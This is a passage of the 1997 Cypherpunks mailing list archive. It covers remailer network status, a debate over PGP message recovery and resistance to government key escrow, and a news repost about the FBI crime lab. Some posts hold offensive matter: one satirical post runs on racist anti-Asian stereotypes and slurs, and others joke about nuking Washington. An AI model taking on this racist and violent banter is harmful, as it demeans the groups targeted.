other remailer sites as soon as we come back online. So nothing gets missed
from SSZ. My internet provider is supposed to be cache'ing incoming mail
to SSZ if we go down and I hope the other remailers also cache their mail
as well. If not, oh well, I 'm not going to miss any sleep over it.

Just in case you missed it the other day, I believe Igor has started
gatewaying a new remailer as well because I saw a 'Test' message from a
cypherpunks mailing list I didn't recognize as one of the known remailer
hosts. If so that means we're at 5 remailers in the network. One of them in
Japan, which meets at least one of our goals to get a remailer node outside
the US. This is a GOOD thing.

My offer to gateway the CDR to any site that requests the subscription
stands. So, if you are operating a remailer with only a single feed point
and that point is not currently SSZ please send me email and I'll add your
site to my re-send list. As to cypherpunks-e, one of the other CDR sites
should consider adding them to their re-send/subscription list.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


ps Regarding SSZ's downtime yesterday, at this point don't have a clue
   why the system crashed without warning and then cored when it came
   back up. Once I got home and did a hard reboot it has worked without
   a glitch. Though we still have intermittent droppages of the ISDN
   link lasting 1-5 minutes. I have turned in another trouble call to
   SWBT in the hopes of them fixing it. That makes the 5th ISDN
   trouble ticket in 4 weeks. I think SWBT gets lonely if I don't call
   them at least once a week or else their field folks really have
   forgotten how to write...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Sun, 19 Oct 1997 00:35:32 +0800
To: ietf-open-pgp@imc.org
Subject: Re: Is PGP still private?
In-Reply-To: <3.0.3.32.19971017170704.009de630@mail.pgp.com>
Message-ID: <19971018092636.45297@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Oct 18, 1997 at 08:48:56AM +0100, Adam Back wrote:
> 
> Jon Callas <jon@pgp.com> writes:
[...]
> 
> My reasoning is this: as PGP Inc can not justify expense on such
> developments, my CDR proposal would be much safer for them to
> implement because it requires no steganography support, or other
> privacy patches to provide protection against abuse of the software
> for uses other than PGP Inc's designers intentions.

You keep talking as if your CDR proposal is other than vaporware.  So 
far as I have seen you don't have a proposal, you have a wish.

[...]

> > You are in error. The only time that you are forced to use CMR is when (1)
> > you share the CMRK with the other party AND (2) the strict flag is set. In
> > all other cases, you can opt-out, on a message-by-message basis.
[...]
> However I simply posit that if you live in a scenario where everyone
> you would like to communicate is forced to operate under your
> combination: for example the local laws state all businesses and ISPs
> insisting that they use pgp5.5 policy enforcer and turn on strict
> flag.
> 
> This possibility seems to be being discounted as unrealistic, or at
> least as being optional, because you can by pass it.

It does seem rather unrealistic.  It would essentially involve
replacing the entire email infrastructure, at a significant cost, and
a rather sweeping suite of further laws that restrict the use of
encryption to only PGP, forbid me running sendmail on my linux box,
etc, etc

> I can not see that being able to by pass it helps you in my scenario
> if a) you will be detected when you do bypass it because the law
> enforcers will discover they can't recover plaintext;

This implies a law against using any other form of crypto, period.  
If such a law is passable the exemption for PGP's protocol will 
really be immaterial.  That is, Yes, under an extremely draconian 
regieme, extremely draconian things are possible.

"Tinpotdictatorsville" is not a useful counterexample, because the 
TPD can mandate anything, including no use of crypto at all.

> and b) you have
> a "choice" of not being able to communicate with anyone, because in
> practical terms you have a need to communicate. 

Implies that *all* other forms of communication have been outlawed.  
Completely unrealistic.

Adam, it is a complete and utter waste of time to debate this. 

What would *not* be a waste of time would be more concrete proposals.  
Whether PGP implements something is a separate question -- I would 
like to get back to the question of designing a better email 
encryption system.

Your reencryption scheme fails because of the management of the short
term encryption keys, among other things.  Here's another approach I
will toss out, without thinking through:

How about formalizing superencryption, or tunneling? That is, treat
CMR traffic as a transport medium for messages that are themselves
already encrypted.  The "key" idea here is to allow layering of non
CMR traffic over CMR traffic.  All the code for both is obviously
already in PGP, with a little glue and perhaps some minor protocol
mods...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 19 Oct 1997 02:20:00 +0800
To: Roger Schlafly <schlafly@mail.cruzio.com>
Subject: Re: Freeh letter to NYT
In-Reply-To: <3.0.1.32.19971017124121.0069d8d0@mail.cruzio.com>
Message-ID: <199710181814.OAA26563@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



In <3.0.1.32.19971017124121.0069d8d0@mail.cruzio.com>, on 10/17/97 
   at 12, Roger Schlafly <schlafly@mail.cruzio.com> said:



>How can he say this with a straight face?

>>In fact, what we proposed requires two orders from a judge
>>before we proceed, not just one as now required.

>The DOJ proposal, sect 302, says:

>  (A)  A Key Recovery Agent, whether or not registered by the Secretary 
>  under this Act, shall disclose recovery information stored by a person:
>     (1)  ...; or
>     (2)  to a law enforcement or national security government agency
>     upon receipt of written authorization in a form to be specified by
>     the Attorney General.

>It also contradicts his final sentence:

>>... some workable solution can be found to insure that law enforcement can
>>gain immediate access to the plaintext of encrypted criminal communication
>>or electronic data that we have lawfully seized.

>The term "immediate access" means without having to goto a judge.

I find the term "encrypted criminal communication" rather intresting.
Exactly how does on know if a certian communication is crimminal unless
one decrypts it and reads it?? Or is this yet another example of "guilty
until we are forced to admit that you are not" type of logic followed by
the LEA's in this country.

Quote of the Day: "Happiness is seeing Louis Freeh's picture on a milk
carton"

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 19 Oct 1997 02:37:58 +0800
To: cypherpunks@toad.com
Subject: Re: Non-conventional
In-Reply-To: <199710171449.QAA09086@basement.replay.com>
Message-ID: <199710181814.OAA26560@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



In <199710171449.QAA09086@basement.replay.com>, on 10/17/97 
   at 04, nobody@REPLAY.COM (Anonymous) said:

>Tim May implied that Cpunx should develop non-conventional email. Crypto
>has been declared to be munitions.
>Nukes are non-conventional weapons.
>Should we be developing nuclear email?
>Should we 'email-nuke DC?"

I'm not fussy, standard nuke of DC will work just fine. :)

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 19 Oct 1997 01:08:54 +0800
To: cypherpunks@toad.com
Subject: Re: OUBAKAYAROU!!
In-Reply-To: <19971017080829.27590.qmail@hotmail.com>
Message-ID: <v03102800b06e97bdfe70@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:25 PM -0700 10/17/97, Bill Stewart wrote:
>At 01:08 AM 10/17/1997 PDT, Nobuki Nakatuji wrote:
>>>Tim May (tcmay@got.net)
>>>Wed, 15 Oct 1997 22:11:09 -0700
>>>At 9:18 PM -0700 10/15/97, Nobuki Nakatuji wrote:
>>>Where are another cypherpunk mailinglist ?
>>>
>>>Am another cypherpunks mailinglist at cyperpunk@dev.null.
>>>You go there, chop chop.
>>>You not talk about Misty here anymore, OK? We am tired hering about
>>>Misty and your fees.
>>>
>>>--Tim-san
>
>Tim, was that you writing, or was that TotoMonger forging you again?
>I agree that there are problems with Misty, but it's
>no more annoying than some of the other flaming on the list,
>and certainly less so that Dmitri Vulis and his tentacles.

My ire at "Nobuki Nakatuji" comes less from his broken English (which is no
doubt several orders of magnitude better than my broken Japanese) than from
his repeated trollings of the list to send him money for more details.

Also, he has never engaged in any discussion, broken English or not. I have
begun to surmise a 'bot is at work.

He or she or it may not even be Japanese, of course. The hotmail account is
well-known for throwaway accounts (even remailers).

(Searches on his name reveal no Usenet posts under his name, "Nobuki
Nakatuji," and no presence on the Web save for Cypherpunks archives. The
"hotmail" domain name, and the "bd1011" adds to my suspicion that this
person is trolling. If people send him money, all the better for him. I say
burn him.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 18 Oct 1997 22:34:09 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: ISDN status - Intermittent (fwd)
Message-ID: <199710181457.JAA02272@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Sat Oct 18 09:57:09 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199710181457.JAA02252@einstein.ssz.com>
Subject: ISDN status - Intermittent
To: users@ssz.com (SSZ User Mail List)
Date: Sat, 18 Oct 1997 09:57:08 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 1548      


Hi,

Just talked to SWBT and they apparently show the ISDN line as disconnected.
Upon further digging at my request they determined that indeed there had
been some sort of cable throw yesterday. They issued me a trouble ticket
number and will check the line. Considering the intermittent nature of the
drop my suspicion is a bad punch-down. If this is so we should see the line
stabalize sometime this afternoon.

More as I learn it.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 19 Oct 1997 02:44:49 +0800
To: cypherpunks@toad.com
Subject: Junger Motion and Brief
Message-ID: <1.5.4.32.19971018182339.00c2fad0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Peter Junger et al we offer his latest Motion
for Summary Judgment and Supporting Brief outlined
in the Thursday press release:

  http://jya.com/pdj4.htm  (88K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TluthMonglel <tm@dev.null>
Date: Sun, 19 Oct 1997 05:37:58 +0800
To: Jim Choate <ravage@ssz.com>
Subject: CPUNK Thread from the East / (Was: The Yarrow Man Ass) / (Was: You Go Away! Bother ROUND EYE CypherPunks. Chop, chop!) / (Was: TORA! TORA! TORA!...DC) / (Was: OUBAKAYAROU!!)
In-Reply-To: <199710181407.JAA02154@einstein.ssz.com>
Message-ID: <34492697.DEB@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> > From: Bill Stewart <stewarts@ix.netcom.com>
> > Subject: Re: OUBAKAYAROU!!
> >
> > Meanwhile, there is a cypherpunks-j@htp.org, in Japanese,
> > and there's probably still a cypherpunks-e@htp.org in English,
> > though the last time I checked it, it had been
> > mostly a mirror for the cypherpunks list with almost no independent content,
> > and its mail gateway broke badly and splattered all over its subscribers.
 
> What is your problem Bill regarding cypherpunks-e you've made accussatory
> comments regarding that list a couple of times now? It is simply another
> member of the CDR just like SSZ or algebra.com - is your claim that each of
> these has their own indipendant content? If so, catch a clue and realize
> they don't unless their broke somehow and quit forwarding. If somebody on
> cypherpunks-e submits something it gets gatewayed through SSZ (and hopefuly
> others by now) just like traffic from one of the other member remailers. I
> wanted to gateway cypherpunks-j as well but we decided folks might get
> confused if there were something other than english on here. And
> considering both the -e and -j are in Japan, new, and relatively
> unadvertised does it really suprise you that they don't have a lot of English
> based traffic from that end?

Jim,
  Bill merely recognizes that the creation of both an English and a
Japanese CPUNKZ Distributed Mailing List is a sly trick of devious
oriental minds.
  I am somewhat of an expert in International & Foreign Affairs, 
particularly in terms of the Orient, since I eat at a lot of Chinese
restaurants, in Canada. (I am not certain if Chinese and Japanese eyes
slant in the same direction, but I'm sure that the basic principles
apply to both, nonetheless.)

  For starters, have you ever noticed that Chinese people usually take
your food order in broken English, and then go into the kitchen and
give the cook orders in Chinese?
  This is because they are plotting to poison you, Jim.

  Most Canadians know this, and we eat a piece of the fortune cookie
supplied at the end of the meal, since it contains an antidote to the
poison that enables Chinese people to lure their Round Eyed friends
into the restaurant by eating with them, and then take the antidote
by eating part of their fortune cookie.
  The Chinese mask the true nature of this deception by putting some
meaningless Confucian tripe-message inside, such as "Patience comes
to those who wait." The unsuspecting read the message and discard the
cookie containing the antidote to the poison.
  This is why we see so many American tourists go into our Chinese 
restaurants, and so few come out. (Except maybe inside the stomachs 
of Canadians.)

> You must be the one(s) who keeps subscribing and unsubscribing to the 3 US
> remailers from a variety of (forged?) aliases in the hopes of carrying on the
> 'moderation experiment' meme.

  You are correct about this, and Bill reports that he has noticed 
nothing suspicious, proving what a sly bunch of devils you really are.
  Every paranoic knows that, when you look out the window and don't see
anybody out there watching you...you are up against pros.

> Just in case you missed it the other day, I believe Igor has started
> gatewaying a new remailer as well because I saw a 'Test' message from a
> cypherpunks mailing list I didn't recognize as one of the known remailer
> hosts. If so that means we're at 5 remailers in the network. One of them in
> Japan, which meets at least one of our goals to get a remailer node outside
> the US. This is a GOOD thing.

  Sure. We got the Commies on one side of us, the Japs on the other 
side.
                 WAKE UP CPUNX AMERICA!
  The Yarrow Man-Ass is massing remailers along the Japanese-US border.
(The Pacific Ocean) They have the Tokyo Rose (cypherpunks-e) list in
place, to spread their propaganda among our troops.
  The Commies have infiltrated the CPUNDITS Distributed Remailer system.
Igor's secret agenda is to translate 'Distributed' into "From each, as
he is able...to each, according to his need."
  Do you think that Commie-ratfucker, Igor Chewed-Off is filtering out
the duplicate messages for OUR benifit? It's the same-old-same-old, with
those at the top hoarding the messages and letting a few trickle down
to the subscribing masses, to keep us from being revolting.
  The CDR Czars keep all of the good messages for themselves, and let 
the rest of us have just enough messages to survive. Ever try to get
a message from the list at 4 a.m.? They are few and far between. Even
when you create your own message and send it to the list, the CDR List
Masters force you to share it with everyone else.
("Who will help me write the message, said the Little Red Hen?")

> My offer to gateway the CDR to any site that requests the subscription
> stands. So, if you are operating a remailer with only a single feed point
> and that point is not currently SSZ please send me email and I'll add your
> site to my re-send list. As to cypherpunks-e, one of the other CDR sites
> should consider adding them to their re-send/subscription list.

  Sure, Jim, add a few Mexican sites, why don't you?
  Have you 'forgotten' the Alamo, Jim? Shame. Shame.
 
TluthMonglel
"I eat dogs."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 19 Oct 1997 06:15:29 +0800
To: Kent Crispin <kent@bywater.songbird.com>
Subject: Re: Is PGP still private?
In-Reply-To: <3.0.3.32.19971017170704.009de630@mail.pgp.com>
Message-ID: <3449311A.1F0E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:

> On Sat, Oct 18, 1997 at 08:48:56AM +0100, Adam Back wrote:
> > My reasoning is this: as PGP Inc can not justify expense on such
> > developments, my CDR proposal would be much safer for them to
> > implement because it requires no steganography support, or other
> > privacy patches to provide protection against abuse of the software
> > for uses other than PGP Inc's designers intentions.
 
> You keep talking as if your CDR proposal is other than vaporware.  So
> far as I have seen you don't have a proposal, you have a wish.

  Given Adam's many accomplishments in the arena of CypherPunks issues,
I find it hard to make a case for his discussion in this area to be
mere mental masturbation.
  'Democracy in America' is also vaporware--always has been, always 
will be--but I see no reason we should not go on discussing it and 
hoping that we will not having to keep pushing the release date of the
finished product back, time and time again.
 
> [...]
> 
> > > You are in error. The only time that you are forced to use CMR is when (1)
> > > you share the CMRK with the other party AND (2) the strict flag is set. In
> > > all other cases, you can opt-out, on a message-by-message basis.

> Adam, it is a complete and utter waste of time to debate this.

  I agree. I think that we should just wait until someone comes out
with an actual product, and then castigate them for their ideas being
"ill-thought out." 

> What would *not* be a waste of time would be more concrete proposals.
> Whether PGP implements something is a separate question -- I would
> like to get back to the question of designing a better email
> encryption system.
> 
> Your reencryption scheme fails because of the management of the short
> term encryption keys, among other things.  Here's another approach I
> will toss out, without thinking through:
> 
> How about formalizing superencryption, or tunneling? That is, treat
> CMR traffic as a transport medium for messages that are themselves
> already encrypted.  The "key" idea here is to allow layering of non
> CMR traffic over CMR traffic.  All the code for both is obviously
> already in PGP, with a little glue and perhaps some minor protocol
> mods...

  In return for your positive suggestions, the CDR Board of Dirctors
has voted to allow you two posts containg cheap shots at the list
member of your choice, without including any points of redeeming,
on-topic, list value.

Toto
~~~~
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Oct 1997 05:31:04 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710182145.QAA03011@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Barnes & Noble. Win a Trip! Click here to enter. rule
   
                 FBI HIRES NUCLEAR PHYSICIST TO HEAD CRIME LAB
                                       
     FBI crime lab October 18, 1997
     Web posted at: 2:27 p.m. EDT (1827 GMT)
     
     From Correspondent Terry Frieden
     
     WASHINGTON (CNN) -- The FBI hired the former head of a government
     nuclear weapons laboratory to direct its troubled crime lab, even
     though he has no background in forensic science.
     
     The FBI had promised to seek an experienced crime lab scientist from
     outside the government following a stinging Justice Department
     report on the lab last spring.
     
     But the man chosen for the post is Donald M. Kerr Jr., 58, a
     physicist-engineer who from 1979 to 1985 headed the government's Los
     Alamos National Laboratory, where nuclear weapons are designed.
     
     The FBI acknowledged that Kerr's selection after the National
     Whistleblowers Center disclosed his name at a news conference
     Friday.
     
     "It just seems dumbfounding and implausible that they would not hire
     a world-class forensic scientist to take over the crime lab," center
     Director Stephen Kohn said.
     
     The selection also was criticized by the National Association of
     Criminal Defense Lawyers.
     
     "Once again, the FBI has dealt with Congress and the public with
     incredible arrogance," said the group's vice president, William
     Moffitt.
     
     Federal Bureau of Investigation officials defended the hiring of
     Kerr, saying he is the renowned scientist the agency was looking for
     to beef up its crime lab.
     
     "He has vast experience in managing large lab operations and a long
     track-record of successfully revitalizing labs," an FBI source told
     CNN.
     
     A formal announcement of Kerr's hiring is expected Tuesday.
     
  'This is not somebody from the outside'
  
     FBI building
     
     Kris Kolesnik, senior counselor to Sen. Charles Grassley, R-Iowa,
     one of the harshest critics of the FBI, said Kerr's work at Los
     Alamos and more recently for a major defense contractor make him a
     "real government insider."
     
     "This is not somebody from the outside who's going to bring a fresh
     breath of air," Kolesnik said.
     
     Justice Department Inspector General Michael Bromwich blasted the
     world-renowned crime lab in April for flawed scientific work and
     inaccurate testimony in major cases, including the Oklahoma City
     bombing. Bromwich called for a new lab director with a scientific
     background "preferably in forensic science."
     
     Meanwhile, another flap over the crime lab erupted Friday when chief
     lab whistleblower Frederic Whitehurst said that in examining FBI lab
     reports recently released under the Freedom of Information Act, he
     found that five more FBI examiners had altered lab reports.
     
     "In the last week, I have found five more people that have been
     altering cases -- five more that the inspector general didn't find,"
     Whitehurst said.
     
    
   rule
   
  Related stories:
     * Official: FBI lab criticism will prompt case challenges - April
       16, 1997
     * Judge may force agency to uncloak FBI lab report - March 7, 1997
     * Top official admits 'serious' problems at FBI lab - January 30,
       1997
       
  Related sites:
  
     Note: Pages will open in a new browser window
     * Federal Bureau of Investigation
          + FBI Lab
     * Los Alamos National Laboratory
     * US Dept. of Justice - Office of Inspector General Report on FBI
       Labs - April 1997
       
     
     
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 19 Oct 1997 07:30:56 +0800
To: tm@dev.null
Subject: Re: CPUNK Thread from the East / (Was: The Yarrow Man Ass) / (Was: You Go Away! Bother ROUND EYE CypherPunks. Chop, chop!) / (Was: TORA! TORA! TORA!...DC) / (Was: OUBAKAYAROU!!)
In-Reply-To: <199710181407.JAA02154@einstein.ssz.com>
Message-ID: <34494344.335F@netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



TluthMonglel wrote:
>                  WAKE UP CPUNX AMERICA!
>   The Commies have infiltrated the CPUNDITS Distributed Remailer system.
> Igor's secret agenda is to translate 'Distributed' into "From each, as
> he is able...to each, according to his need."
...
>   Ever try to get
> a message from the list at 4 a.m.? They are few and far between. Even
> when you create your own message and send it to the list, the CDR List
> Masters force you to share it with everyone else.
> ("Who will help me write the message, said the Little Red Hen?")

 I agree. Next thing you know, we will be receiving our messages from
the socialist CDDR list.
  I put a lot of thought, time and effort into my posts, and I resent
having to share them with the lurkers who add nothing to the list.
  From now on I will be sending my posts to the list only to myself.

God Bless America
-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle --
Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032,
USA





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Oct 1997 05:39:22 +0800
To: kent@bywater.songbird.com
Subject: jurisdictional interactions (Re: Is PGP still private?)
In-Reply-To: <19971018092636.45297@bywater.songbird.com>
Message-ID: <199710181905.UAA00883@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@bywater.songbird.com> writes:
> On Sat, Oct 18, 1997 at 08:48:56AM +0100, Adam Back wrote:
> > 
> > Jon Callas <jon@pgp.com> writes:
> [...]
> > 
> > My reasoning is this: as PGP Inc can not justify expense on such
> > developments, my CDR proposal would be much safer for them to
> > implement because it requires no steganography support, or other
> > privacy patches to provide protection against abuse of the software
> > for uses other than PGP Inc's designers intentions.
> 
> You keep talking as if your CDR proposal is other than vaporware.  So 
> far as I have seen you don't have a proposal, you have a wish.

I have described the CDR proposal in some detail, and have been able
to counter all arguments raised against it.

It is vaporware, but there are people who are offering to implement it
as an extension to systemics PGP capable library as a demonstrator for
the OpenPGP standardisation process to show how it would work in
practice.

You do have a point in that I should collect my arguments and write a
paper describing the tradeoffs.  I am in the process of doing this,
and will be interested in yours and others comments on this proposal.

> > However I simply posit that if you live in a scenario where everyone
> > you would like to communicate is forced to operate under your
> > combination: for example the local laws state all businesses and ISPs
> > insisting that they use pgp5.5 policy enforcer and turn on strict
> > flag.
> > 
> > This possibility seems to be being discounted as unrealistic, or at
> > least as being optional, because you can by pass it.
> 
> It does seem rather unrealistic.  It would essentially involve
> replacing the entire email infrastructure, at a significant cost, and
> a rather sweeping suite of further laws that restrict the use of
> encryption to only PGP, forbid me running sendmail on my linux box,
> etc, etc

I fail to follow your argument.  Could you explain further?  I am very
interested in discussion of the realism of scenarios for ways that GAK
might be enforced in various types of regimes examples being perhaps:

- Singapore hi-tech, but somewhat authoritarian government

- US, UK hi-tech, government interested in installing GAK (with
  euphamisms being used such as TTP (UK), "Key recovery"/"key escrow"
  (US)).

- Muslim countries, some oil rich, largely I think currently

- France with current position of no use of crypto without license
  (not typically availble), low enforcement rate (individuals use crypto
  with very low likelihood of prosecution), but more recent moves to
  allow unlicensed crypto which has mandatory access.

In what way does replacing the sendmail infrastructure have relevance?
You can always communicate in the clear so I am not claiming you can
not commmunicate, just that there are interesting interactions between
deployed software bases and different jurisdictions with different
legal restrictions on cryptography (ranging from none to weakly
enforced mandatory access, to heavily enforced mandatory access to ban
on cryptography).  If you consider this legal framework, the dynamics
of the ways that you can best estimate GAK will be introduced, and the
likelihood for each jurisidction, the enforcement rate, severity of
penalty for failure to comply, you have a very complex system. 

I would be interested to see comments on these issues, and what issues
this raises for protocol designers and software implementors.

My GAK resistant design principles attempt to provide useful rules of
thumb in making individual software systems, international standards,
and the distributed system formed of the deployed user base, and
enforcement rates, severities maximally resistant to GAK.

http://www.dcs.ex.ac.uk/~aba/grdesign/

My claim is that software implementations, and messaging standards
such as OpenPGP are not neutral in this process.  I think this is a
relatively obvious statement, which most would agree with.  I know
that PGP Inc has spent a lot of time considering alternatives on these
kinds of issues, and on privacy issues.

> > I can not see that being able to by pass it helps you in my scenario
> > if a) you will be detected when you do bypass it because the law
> > enforcers will discover they can't recover plaintext;
> 
> This implies a law against using any other form of crypto, period.  
> If such a law is passable the exemption for PGP's protocol will 
> really be immaterial.  That is, Yes, under an extremely draconian 
> regieme, extremely draconian things are possible.

There are regimes which would like to allow the government to read all
communications where it would not be practical to outlaw encryption
because many people can demonstrate a business case for it.

You live in one such regime: the US.  I live in another such regine:
the UK.

> > and b) you have
> > a "choice" of not being able to communicate with anyone, because in
> > practical terms you have a need to communicate. 
> 
> Implies that *all* other forms of communication have been outlawed.  
> Completely unrealistic.

It does not imply that at all.  If you presume that you wish to
communicate securely, faced with the above scenario, you are faced
with the choice I described: don't communicate at all, or communicate
insecurely.

> Adam, it is a complete and utter waste of time to debate this. 

Why?

I shall continue simply because I consider I have no moral
alternative, than to try to explore more GAK resistant variants of
CMR, or additions to CMR. Or to explore the CDR alternative approach
as a plausible alternative more resistant to GAK take over.

If you have any specific objections to my technical points, or
strategic analysis of usefulness of the two proposals in frustrating
government mass email snooping I would be interested to have you
discuss them.

> What would *not* be a waste of time would be more concrete proposals.  
> Whether PGP implements something is a separate question -- I would 
> like to get back to the question of designing a better email 
> encryption system.

That is a worth while endeavour independently.  However PGP Inc has
financial and implementational constraints (such as plugin APIs, and
so forth) which it naturally must work within.  Asking more than this
is not reasonable; these are the laws of gravity in the problem space.

To produce something which meets PGP Inc's design constraints seems
much more valuable to me than independent freeware or payware attempts
to explore alternative approaches simply because PGP is likely to have
the largest deployed base.  Increasing the resistance of PGP Inc's
systems by even a marginal amount is therefore automatically valuable.

> Your reencryption scheme fails because of the management of the short
> term encryption keys, among other things.  

I presume you are here referring to my suggestion that forward secrecy
would make the system more resistant to GAK take over.

PGP already has a mechanism to deal with short term encryption keys:
the expiry mechanism which has been available starting with pgp5.0.

The only novel suggestion relating to this is to reduce the expiry
period, to reduce exposure of keys.  This does not seem a radical
proposal.  It is independently a good security improvement.

Tim May has suggested that the simplest way to deal with the problems
of recovery is just to store the received email in clear text.

If PGP would like to enhance security of email archives by storing
them in encrypted then CDR is one practical way to do that.

> Here's another approach I will toss out, without thinking through:
> 
> How about formalizing superencryption, or tunneling? That is, treat
> CMR traffic as a transport medium for messages that are themselves
> already encrypted.  The "key" idea here is to allow layering of non
> CMR traffic over CMR traffic.  All the code for both is obviously
> already in PGP, with a little glue and perhaps some minor protocol
> mods...

This is a good suggestion.  It would be an improvement over allowing
CMR traffic to appear in the outer layer.  Jon Callas, Attila T Hun,
and Bill Stewart were discussing variations of this.  My suggestion
for forward secrecy could also be used in this way, and has similar
motivation, but is not necessarily end-to-end, as I gave specific
examples in my previous reply to you attempted to show.

A hybrid approach like this would be somewhere between the two systems
in resistance to government abuse.  It is a definate improvement.

Please don't give up on the debate as threatened above Kent;
constructive ideas like this are useful as they explore a wider
spectrum of properties in the proposed system variants.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Sun, 19 Oct 1997 12:12:16 +0800
To: cypherpunks@toad.com
Subject: about MISTY encryption algorithm
Message-ID: <19971019035058.12956.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



itsubishi Electric Corp. has developed new secret-key cryptosystem 
MISTY1 and MISTY2, which are ciphers with
128-bit key and 64-bit data block. They are provably secure against 
differential and linear cryptanalysis,
and also fast on software implementations as well as on hardware 
platforms. Using ciphers on wide-area
networks requires a method to maintain security as long as its 
encryption key (password commonly shared by a
sender and a receiver) is kept secret, even if the mechanism of the 
encryption is made public. However,
possibilities of unauthorized access will increase when the encryption 
mechanism is made public. In fact,
several encryption algorithms, whose specifications were made public, 
have been compelled to make
specification changes, and to sacrifice their encryption speed in return 
for an increased cipher strength to
protect against recent decoding methods. This is why an encryption 
system whose security against these
